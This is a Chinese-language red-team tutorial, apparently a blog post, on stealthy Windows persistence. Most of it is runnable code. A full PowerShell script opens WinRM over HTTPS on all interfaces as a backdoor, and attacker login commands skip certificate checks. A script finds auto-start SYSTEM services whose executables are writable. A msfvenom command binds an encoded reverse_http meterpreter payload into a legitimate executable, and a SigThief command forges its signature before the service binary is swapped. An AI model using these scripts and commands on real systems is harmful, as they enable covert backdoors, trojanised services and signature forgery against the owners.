我们先来了解两个对红队至关重要的思想:
靠山吃山理论
“Living off the Land”(LOTL)是渗透测试和攻击中的一种隐蔽策略,核心是利用目标系统中已有的合法工具(如 PowerShell、WMIC、CertUtil 等)执行恶意操作,而非引入外部工具或恶意软件。其优势在于伪装为正常行为,降低被检测的风险,同时减少攻击成本。LOTL 常用于横向移动、持久性建立和数据窃取等场景。LOLBAS 项目收录了可被滥用的合法工具,为渗透测试和防御提供参考。防御 LOTL 攻击的关键在于行为检测、最小权限原则、日志分析和应用白名单。LOTL 的精髓在于隐匿性和资源最大化。
白加黑
“白加黑”理论是网络攻击中将合法工具(白)与恶意行为(黑)结合的隐蔽策略。攻击者利用系统内置的合法工具例如wechat执行恶意操作(如下载恶意代码、横向移动或建立后门),从而伪装为正常行为,规避安全检测。其核心在于以合法工具掩护恶意行为,提升攻击的隐匿性和成功率。该理论是 LOTL 技术的具体表现,强调合法与恶意的协同。防御关键在于行为分析、最小权限原则、日志监控和白名单策略,以识别和阻止合法工具的异常使用。
wirnm后门利用
winrm是微软自带的服务,默认情况是不开启的。但是如果开启之后会被认为是系统的正常服务,还可以直接提供全交互式的powershell,可谓是非常方便
如何启动?
这里不建议使用http模式,因为只有在被判定为私有的网络的情况下才可以使用,所以我们大多使用https。配合powershell命令就能生成证书。大致脚本如下
# Enable-WinRMHTTPS.ps1
# 脚本功能:自动化配置 WinRM HTTPS 模式,并监听外网,确保全程无用户交互。
# 配置参数
$IPAddress = "0.0.0.0" # 监听的地址,0.0.0.0 表示所有网络接口
$Port = 5986 # HTTPS 默认端口
$CertDnsName = (Get-WmiObject -Class Win32_ComputerSystem).DNSHostName # 使用主机名作为证书名称
# 检查是否以管理员身份运行
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
Write-Error "请以管理员身份运行此脚本。"
exit 1
}
# 确保 WinRM 服务已启动
Write-Host "检查 WinRM 服务状态..." -ForegroundColor Yellow
if ((Get-Service -Name WinRM).Status -ne "Running") {
Write-Host "启动 WinRM 服务..." -ForegroundColor Green
Start-Service -Name WinRM
}
# 启用 WinRM 服务
Write-Host "启用 WinRM 服务..." -ForegroundColor Yellow
winrm quickconfig -Force | Out-Null
# 检查是否已存在 HTTPS 监听器
Write-Host "检查是否已存在 HTTPS 监听器..." -ForegroundColor Yellow
$existingListener = winrm enumerate winrm/config/Listener | Select-String "Transport = HTTPS"
if ($existingListener) {
Write-Host "HTTPS 监听器已存在,跳过创建。" -ForegroundColor Green
exit 0
}
# 生成自签名证书
Write-Host "生成自签名证书..." -ForegroundColor Yellow
$cert = New-SelfSignedCertificate -DnsName $CertDnsName -CertStoreLocation Cert:\LocalMachine\My -NotAfter (Get-Date).AddYears(5)
# 验证证书是否生成成功
if (-not $cert) {
Write-Error "证书生成失败,请检查环境配置。"
exit 1
}
# 获取证书指纹
$certThumbprint = $cert.Thumbprint
Write-Host "证书生成成功,指纹为:$certThumbprint" -ForegroundColor Green
# 绑定证书到 WinRM HTTPS 监听器
Write-Host "绑定证书到 WinRM HTTPS 监听器..." -ForegroundColor Yellow
$bindingCommand = @"
winrm create winrm/config/Listener?Address=*+Transport=HTTPS '@{Hostname="$CertDnsName";CertificateThumbprint="$certThumbprint"}'
"@
Invoke-Expression $bindingCommand
# 验证 HTTPS 监听器是否成功创建
Write-Host "验证 HTTPS 监听器是否成功创建..." -ForegroundColor Yellow
$listenerCheck = winrm enumerate winrm/config/Listener | Select-String "Transport = HTTPS"
if (-not $listenerCheck) {
Write-Error "HTTPS 监听器创建失败,请检查配置。"
exit 1
}
# 配置防火墙规则
Write-Host "配置防火墙规则以允许 HTTPS 流量..." -ForegroundColor Yellow
New-NetFirewallRule -DisplayName "WinRM HTTPS" -Direction Inbound -Protocol TCP -LocalPort $Port -Action Allow -Profile Any | Out-Null
# 确认 HTTPS 监听器是否正常运行
Write-Host "确认 WinRM HTTPS 配置是否成功..." -ForegroundColor Yellow
$testWinRM = Test-WSMan -ComputerName localhost -UseSSL -Port $Port -ErrorAction SilentlyContinue
if ($testWinRM) {
Write-Host "WinRM HTTPS 配置成功!" -ForegroundColor Green
} else {
Write-Error "WinRM HTTPS 配置失败,请检查日志。"
exit 1
}
而作为我们攻击方,通过这两条命令来登录:
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck #禁用cert校验
Enter-PSSession -ComputerName "192.168.245.128" -Port 5986 -Credential (Get-Credential) -UseSSL -SessionOption $sessionOption
但是一般来说这个靶机只是在内网,可能最好还是要结合隧道使用,才能访问的到,而且要admin才能执行
捆绑感染高权限服务
很多时候我们能够通过感染有高权限的服务对应的可执行文件实现持久化,例如把他们的原始文件下载下来并且捆绑我们的后门程序,然后再次伪造文件签名上传到目标机器替换原来的文件。但前提是能够有写这些可执行文件的权限
function Get-VulnerableAutoStartServices {
<#
.SYNOPSIS
提取开机自启、以 Admin 权限运行且可执行文件对低权限用户或管理员用户有写权限的服务。
.DESCRIPTION
该函数会筛选出开机自动启动的服务,检查其是否以 Admin 权限运行,并进一步检查对应的可执行文件是否对指定类别的用户(普通用户或管理员用户)具有写权限。
.PARAMETER CheckMode
指定检测模式:
- "StandardUsers":检测文件是否对普通用户(如 Everyone、Authenticated Users 等)有写权限。
- "Administrators":检测文件是否对 Administrators 群组有写权限。
.OUTPUTS
返回一个对象,包含服务名称、显示名称、启动类型、可执行文件路径及存在写权限的用户。
.EXAMPLE
Get-VulnerableAutoStartServices -CheckMode "StandardUsers"
检测存在潜在安全隐患的服务(普通用户写权限)。
.EXAMPLE
Get-VulnerableAutoStartServices -CheckMode "Administrators"
检测存在潜在安全隐患的服务(管理员用户写权限)。
#>
param (
[ValidateSet("StandardUsers", "Administrators")]
[string]$CheckMode = "StandardUsers"
)
# 存储结果的数组
$vulnerableServices = @()
# 获取所有自动启动的服务
$services = Get-WmiObject -Class Win32_Service | Where-Object { $_.StartMode -eq "Auto" }
foreach ($service in $services) {
# 初始化服务信息对象
$serviceInfo = [PSCustomObject]@{
ServiceName = $service.Name
DisplayName = $service.DisplayName
StartMode = $service.StartMode
ExecutablePath = $null
VulnerableUsers = @()
IsAdminService = $false
}
try {
# 检查服务是否以 Admin 身份运行
if ($service.StartName -eq "LocalSystem" -or $service.StartName -eq "NT AUTHORITY\SYSTEM" -or $service.StartName -like "*Admin*") {
$serviceInfo.IsAdminService = $true
}
# 提取可执行文件路径
if ($service.PathName -match '"([^"]+)"') {
$executablePath = $matches[1] # 如果路径在引号中,提取引号内的路径
} else {
$executablePath = $service.PathName.Split(" ")[0] # 如果没有引号,取第一个空格前的部分
}
Write-Host "正在检查服务 '$($service.Name)' 的可执行文件路径: $executablePath"
$serviceInfo.ExecutablePath = $executablePath
# 检查文件是否存在
if (Test-Path -Path $executablePath) {
$writeUsers=Get-FileWriteUsers -FilePath $executablePath -ListAllUsers
if ($CheckMode -eq "StandardUsers") {
$result = $writeUsers | Where-Object { $_.UserType -le 1 }
} elseif ($CheckMode -eq "Administrators") {
$result = $writeUsers | Where-Object { $_.UserType -le 2 }
}
if ($result -ne $null) {
$vulnerableUsers = $result | Select-Object -Property UserName, UserType
}
if ($vulnerableUsers) {
$serviceInfo.VulnerableUsers = $vulnerableUsers
$vulnerableUsers=$null
}
}
} catch {
Write-Warning "无法解析服务 '$($service.Name)' 的可执行文件路径或权限: $_"
}
# 如果服务以 Admin 身份运行且存在写权限的用户,则将其视为潜在漏洞
if ($serviceInfo.IsAdminService -and $serviceInfo.VulnerableUsers.Count -gt 0) {
$vulnerableServices += $serviceInfo
}
}
if ($vulnerableServices.Count -eq 0) {
if ($CheckMode -eq "StandardUsers") {
Write-Host "没有发现潜在提权的漏洞服务。"
} elseif ($CheckMode -eq "Administrators") {
Write-Host "没有发现潜在的持久化漏洞服务。"
}
}
# 返回结果
return $vulnerableServices
}
function Get-FileWriteUsers {
param (
[Parameter(Mandatory = $true)]
[string]$FilePath,
[Parameter(Mandatory = $false)]
[switch]$ListAllUsers, # 列出所有可以写的用户
[Parameter(Mandatory = $false)]
[switch]$LowestPrivilege # 列出权限最低的用户
)
# 检查文件是否存在
if (-Not (Test-Path -Path $FilePath)) {
Write-Error "文件不存在: $FilePath"
return
}
# 获取文件的访问控制列表 (ACL)
$acl = Get-Acl -Path $FilePath
# 初始化结果数组
$writeUsers = @()
# 遍历 ACL 的访问规则
foreach ($accessRule in $acl.Access) {
# 检查是否具有写权限
if ($accessRule.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write) {
# 过滤允许访问的规则 (Deny 的规则会被排除)
if ($accessRule.AccessControlType -eq [System.Security.AccessControl.AccessControlType]::Allow) {
# 获取用户类型
$user = $accessRule.IdentityReference.Value
$userType = Get-UserType -UserName $user
# 将用户类型和用户名添加到结果中
$writeUsers += [PSCustomObject]@{
UserType = $userType
UserName = $user
}
}
}
}
# 如果没有用户具有写权限
if ($writeUsers.Count -eq 0) {
Write-Output "没有用户对该文件具有写权限。"
return
}
# 根据选项返回结果
if ($ListAllUsers) {
# 列出所有具有写权限的用户
return $writeUsers | Sort-Object UserType
} elseif ($LowestPrivilege) {
# 列出权限最低的用户
$minPrivilege = ($writeUsers | Sort-Object UserType | Select-Object -First 1).UserType
return $writeUsers | Where-Object { $_.UserType -eq $minPrivilege }
} else {
Write-Error "请提供 -ListAllUsers 或 -LowestPrivilege 参数之一。"
}
}
function Get-UserType {
param (
[Parameter(Mandatory = $true)]
[string]$UserName
)
# 检查是否为系统账户
if ($UserName -match "^(NT AUTHORITY|SYSTEM|TrustedInstaller)") {
return 3 # 系统和 TrustedInstaller
}
# 检查是否为管理员组用户
try {
# 将用户名解析为 NTAccount 对象
$principal = New-Object System.Security.Principal.NTAccount($UserName)
$sid = $principal.Translate([System.Security.Principal.SecurityIdentifier])
# 获取本地 Administrators 组的 SID
$adminGroupSid = (New-Object System.Security.Principal.SecurityIdentifier(
[System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,
$null
))
# 检查用户是否属于管理员组
$adminGroup = New-Object System.Security.Principal.SecurityIdentifier($adminGroupSid.Value)
$groupPrincipal = New-Object System.Security.Principal.WindowsPrincipal([System.Security.Principal.WindowsIdentity]::GetCurrent())
if ($sid -eq $adminGroupSid -or $groupPrincipal.IsInRole($adminGroup)) {
return 2 # 管理员
}
} catch {
# 忽略异常
}
# 默认返回普通用户
return 1
}
文件捆绑
在发现有啥特殊的文件可以被劫持后,最简单的是直接使用msf自带的功能实现文件捆绑:
msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/source.exe > ~/Desktop/Trojan/payload_bundle.exe
也可以使用这个开源项目
https://github.com/raspberryhusky/rsmaker/
文件签名
推荐这个项目
https://github.com/secretsquirrel/SigThief
直接使用
python sigthief.py -i ~/Desktop/source.exe -t ~/Desktop/Trojan/payload_bundle.exe -o ~/Desktop/Trojan/payload_bundle_signed.exe
就能盗取签名了
最后将文件替换即可